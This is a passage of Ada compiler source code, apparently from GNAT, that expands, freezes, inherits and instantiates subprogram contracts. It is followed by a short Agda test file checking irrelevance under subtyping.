for discriminants and protection fields must be elaborated -- before the preconditions are evaluated, as their expressions -- may mention the discriminants. The renamings include those -- for private components so we need to find the last such. elsif Is_Prologue_Renaming (Decl) then while Present (Next (Decl)) and then Is_Prologue_Renaming (Next (Decl)) loop Next (Decl); end loop; Insert_Node := Decl; -- Otherwise the declaration does not come from source. This -- also terminates the search, because internal code may raise -- exceptions which should not preempt the preconditions. else exit; end if; Next (Decl); end loop; end if; -- The processing of preconditions is done in reverse order (body -- first), because each pragma Check equivalent is inserted at the -- top of the declarations. This ensures that the final order is -- consistent with following diagram: -- <inherited preconditions> -- <preconditions from spec> -- <preconditions from body> Process_Preconditions_For (Body_Id); if Present (Spec_Id) then Process_Preconditions_For (Spec_Id); Process_Inherited_Preconditions; end if; end Process_Preconditions; -- Local variables Restore_Scope : Boolean := False; Result : Entity_Id; Stmts : List_Id := No_List; Subp_Id : Entity_Id; -- Start of processing for Expand_Subprogram_Contract begin -- Obtain the entity of the initial declaration if Present (Spec_Id) then Subp_Id := Spec_Id; else Subp_Id := Body_Id; end if; -- Do not perform expansion activity when it is not needed if not Expander_Active then return; -- GNATprove does not need the executable semantics of a contract elsif GNATprove_Mode then return; -- The contract of a generic subprogram or one declared in a generic -- context is not expanded, as the corresponding instance will provide -- the executable semantics of the contract. elsif Is_Generic_Subprogram (Subp_Id) or else Inside_A_Generic then return; -- All subprograms carry a contract, but for some it is not significant -- and should not be processed. This is a small optimization. elsif not Has_Significant_Contract (Subp_Id) then return; -- The contract of an ignored Ghost subprogram does not need expansion, -- because the subprogram and all calls to it will be removed. elsif Is_Ignored_Ghost_Entity (Subp_Id) then return; -- Do not re-expand the same contract. This scenario occurs when a -- construct is rewritten into something else during its analysis -- (expression functions for instance). elsif Has_Expanded_Contract (Subp_Id) then return; end if; -- Prevent multiple expansion attempts of the same contract Set_Has_Expanded_Contract (Subp_Id); -- Ensure that the formal parameters are visible when expanding all -- contract items. if not In_Open_Scopes (Subp_Id) then Restore_Scope := True; Push_Scope (Subp_Id); if Is_Generic_Subprogram (Subp_Id) then Install_Generic_Formals (Subp_Id); else Install_Formals (Subp_Id); end if; end if; -- The expansion of a subprogram contract involves the creation of Check -- pragmas to verify the contract assertions of the spec and body in a -- particular order. The order is as follows: -- function Example (...) return ... is -- procedure _Postconditions (...) is -- begin -- <refined postconditions from body> -- <postconditions from body> -- <postconditions from spec> -- <inherited postconditions> -- <contract case consequences> -- <invariant check of function result> -- <invariant and predicate checks of parameters> -- end _Postconditions; -- <inherited preconditions> -- <preconditions from spec> -- <preconditions from body> -- <contract case conditions> -- <source declarations> -- begin -- <source statements> -- _Preconditions (Result); -- return Result; -- end Example; -- Routine _Postconditions holds all contract assertions that must be -- verified on exit from the related subprogram. -- Step 1: Handle all preconditions. This action must come before the -- processing of pragma Contract_Cases because the pragma prepends items -- to the body declarations. Process_Preconditions; -- Step 2: Handle all postconditions. This action must come before the -- processing of pragma Contract_Cases because the pragma appends items -- to list Stmts. Process_Postconditions (Stmts); -- Step 3: Handle pragma Contract_Cases. This action must come before -- the processing of invariants and predicates because those append -- items to list Stmts. Process_Contract_Cases (Stmts); -- Step 4: Apply invariant and predicate checks on a function result and -- all formals. The resulting checks are accumulated in list Stmts. Add_Invariant_And_Predicate_Checks (Subp_Id, Stmts, Result); -- Step 5: Construct procedure _Postconditions Build_Postconditions_Procedure (Subp_Id, Stmts, Result); if Restore_Scope then End_Scope; end if; end Expand_Subprogram_Contract; ------------------------------- -- Freeze_Previous_Contracts -- ------------------------------- procedure Freeze_Previous_Contracts (Body_Decl : Node_Id) is function Causes_Contract_Freezing (N : Node_Id) return Boolean; pragma Inline (Causes_Contract_Freezing); -- Determine whether arbitrary node N causes contract freezing procedure Freeze_Contracts; pragma Inline (Freeze_Contracts); -- Freeze the contracts of all eligible constructs which precede body -- Body_Decl. procedure Freeze_Enclosing_Package_Body; pragma Inline (Freeze_Enclosing_Package_Body); -- Freeze the contract of the nearest package body (if any) which -- encloses body Body_Decl. ------------------------------ -- Causes_Contract_Freezing -- ------------------------------ function Causes_Contract_Freezing (N : Node_Id) return Boolean is begin return Nkind (N) in N_Entry_Body | N_Package_Body | N_Protected_Body | N_Subprogram_Body | N_Subprogram_Body_Stub | N_Task_Body; end Causes_Contract_Freezing; ---------------------- -- Freeze_Contracts -- ---------------------- procedure Freeze_Contracts is Body_Id : constant Entity_Id := Defining_Entity (Body_Decl); Decl : Node_Id; begin -- Nothing to do when the body which causes freezing does not appear -- in a declarative list because there cannot possibly be constructs -- with contracts. if not Is_List_Member (Body_Decl) then return; end if; -- Inspect the declarations preceding the body, and freeze individual -- contracts of eligible constructs. Decl := Prev (Body_Decl); while Present (Decl) loop -- Stop the traversal when a preceding construct that causes -- freezing is encountered as there is no point in refreezing -- the already frozen constructs. if Causes_Contract_Freezing (Decl) then exit; -- Entry or subprogram declarations elsif Nkind (Decl) in N_Abstract_Subprogram_Declaration | N_Entry_Declaration | N_Generic_Subprogram_Declaration | N_Subprogram_Declaration then Analyze_Entry_Or_Subprogram_Contract (Subp_Id => Defining_Entity (Decl), Freeze_Id => Body_Id); -- Objects elsif Nkind (Decl) = N_Object_Declaration then Analyze_Object_Contract (Obj_Id => Defining_Entity (Decl), Freeze_Id => Body_Id); -- Protected units elsif Nkind (Decl) in N_Protected_Type_Declaration | N_Single_Protected_Declaration then Analyze_Protected_Contract (Defining_Entity (Decl)); -- Subprogram body stubs elsif Nkind (Decl) = N_Subprogram_Body_Stub then Analyze_Subprogram_Body_Stub_Contract (Defining_Entity (Decl)); -- Task units elsif Nkind (Decl) in N_Single_Task_Declaration | N_Task_Type_Declaration then Analyze_Task_Contract (Defining_Entity (Decl)); end if; if Nkind (Decl) in N_Full_Type_Declaration | N_Private_Type_Declaration | N_Task_Type_Declaration | N_Protected_Type_Declaration | N_Formal_Type_Declaration then Analyze_Type_Contract (Defining_Identifier (Decl)); end if; Prev (Decl); end loop; end Freeze_Contracts; ----------------------------------- -- Freeze_Enclosing_Package_Body -- ----------------------------------- procedure Freeze_Enclosing_Package_Body is Orig_Decl : constant Node_Id := Original_Node (Body_Decl); Par : Node_Id; begin -- Climb the parent chain looking for an enclosing package body. Do -- not use the scope stack, because a body utilizes the entity of its -- corresponding spec. Par := Parent (Body_Decl); while Present (Par) loop if Nkind (Par) = N_Package_Body then Analyze_Package_Body_Contract (Body_Id => Defining_Entity (Par), Freeze_Id => Defining_Entity (Body_Decl)); exit; -- Do not look for an enclosing package body when the construct -- which causes freezing is a body generated for an expression -- function and it appears within a package spec. This ensures -- that the traversal will not reach too far up the parent chain -- and attempt to freeze a package body which must not be frozen. -- package body Enclosing_Body -- with Refined_State => (State => Var) -- is -- package Nested is -- type Some_Type is ...; -- function Cause_Freezing return ...; -- private -- function Cause_Freezing is (...); -- end Nested; -- -- Var : Nested.Some_Type; elsif Nkind (Par) = N_Package_Declaration and then Nkind (Orig_Decl) = N_Expression_Function then exit; -- Prevent the search from going too far elsif Is_Body_Or_Package_Declaration (Par) then exit; end if; Par := Parent (Par); end loop; end Freeze_Enclosing_Package_Body; -- Local variables Body_Id : constant Entity_Id := Defining_Entity (Body_Decl); -- Start of processing for Freeze_Previous_Contracts begin pragma Assert (Causes_Contract_Freezing (Body_Decl)); -- A body that is in the process of being inlined appears from source, -- but carries name _parent. Such a body does not cause freezing of -- contracts. if Chars (Body_Id) = Name_uParent then return; end if; Freeze_Enclosing_Package_Body; Freeze_Contracts; end Freeze_Previous_Contracts; --------------------------------- -- Inherit_Subprogram_Contract -- --------------------------------- procedure Inherit_Subprogram_Contract (Subp : Entity_Id; From_Subp : Entity_Id) is procedure Inherit_Pragma (Prag_Id : Pragma_Id); -- Propagate a pragma denoted by Prag_Id from From_Subp's contract to -- Subp's contract. -------------------- -- Inherit_Pragma -- -------------------- procedure Inherit_Pragma (Prag_Id : Pragma_Id) is Prag : constant Node_Id := Get_Pragma (From_Subp, Prag_Id); New_Prag : Node_Id; begin -- A pragma cannot be part of more than one First_Pragma/Next_Pragma -- chains, therefore the node must be replicated. The new pragma is -- flagged as inherited for distinction purposes. if Present (Prag) then New_Prag := New_Copy_Tree (Prag); Set_Is_Inherited_Pragma (New_Prag); Add_Contract_Item (New_Prag, Subp); end if; end Inherit_Pragma; -- Start of processing for Inherit_Subprogram_Contract begin -- Inheritance is carried out only when both entities are subprograms -- with contracts. if Is_Subprogram_Or_Generic_Subprogram (Subp) and then Is_Subprogram_Or_Generic_Subprogram (From_Subp) and then Present (Contract (From_Subp)) then Inherit_Pragma (Pragma_Extensions_Visible); end if; end Inherit_Subprogram_Contract; ------------------------------------- -- Instantiate_Subprogram_Contract -- ------------------------------------- procedure Instantiate_Subprogram_Contract (Templ : Node_Id; L : List_Id) is procedure Instantiate_Pragmas (First_Prag : Node_Id); -- Instantiate all contract-related source pragmas found in the list, -- starting with pragma First_Prag. Each instantiated pragma is added -- to list L. ------------------------- -- Instantiate_Pragmas -- ------------------------- procedure Instantiate_Pragmas (First_Prag : Node_Id) is Inst_Prag : Node_Id; Prag : Node_Id; begin Prag := First_Prag; while Present (Prag) loop if Is_Generic_Contract_Pragma (Prag) then Inst_Prag := Copy_Generic_Node (Prag, Empty, Instantiating => True); Set_Analyzed (Inst_Prag, False); Append_To (L, Inst_Prag); end if; Prag := Next_Pragma (Prag); end loop; end Instantiate_Pragmas; -- Local variables Items : constant Node_Id := Contract (Defining_Entity (Templ)); -- Start of processing for Instantiate_Subprogram_Contract begin if Present (Items) then Instantiate_Pragmas (Pre_Post_Conditions (Items)); Instantiate_Pragmas (Contract_Test_Cases (Items)); Instantiate_Pragmas (Classifications (Items)); end if; end Instantiate_Subprogram_Contract; ---------------------------------------- -- Save_Global_References_In_Contract -- ---------------------------------------- procedure Save_Global_References_In_Contract (Templ : Node_Id; Gen_Id : Entity_Id) is procedure Save_Global_References_In_List (First_Prag : Node_Id); -- Save all global references in contract-related source pragmas found -- in the list, starting with pragma First_Prag. ------------------------------------ -- Save_Global_References_In_List -- ------------------------------------ procedure Save_Global_References_In_List (First_Prag : Node_Id) is Prag : Node_Id; begin Prag := First_Prag; while Present (Prag) loop if Is_Generic_Contract_Pragma (Prag) then Save_Global_References (Prag); end if; Prag := Next_Pragma (Prag); end loop; end Save_Global_References_In_List; -- Local variables Items : constant Node_Id := Contract (Defining_Entity (Templ)); -- Start of processing for Save_Global_References_In_Contract begin -- The entity of the analyzed generic copy must be on the scope stack -- to ensure proper detection of global references. Push_Scope (Gen_Id); if Permits_Aspect_Specifications (Templ) and then Has_Aspects (Templ) then Save_Global_References_In_Aspects (Templ); end if; if Present (Items) then Save_Global_References_In_List (Pre_Post_Conditions (Items)); Save_Global_References_In_List (Contract_Test_Cases (Items)); Save_Global_References_In_List (Classifications (Items)); end if; Pop_Scope; end Save_Global_References_In_Contract; end Contracts;
test/Fail/Issue4390irrelevance-subtyping.agda
cruhland/agda
1
10071
<gh_stars>1-10 {-# OPTIONS --subtyping #-} open import Agda.Builtin.Equality postulate A : Set mutual I : (A -> A) → .A → A I f = _ testQ : {f : .A -> A} → I f ≡ f testQ = refl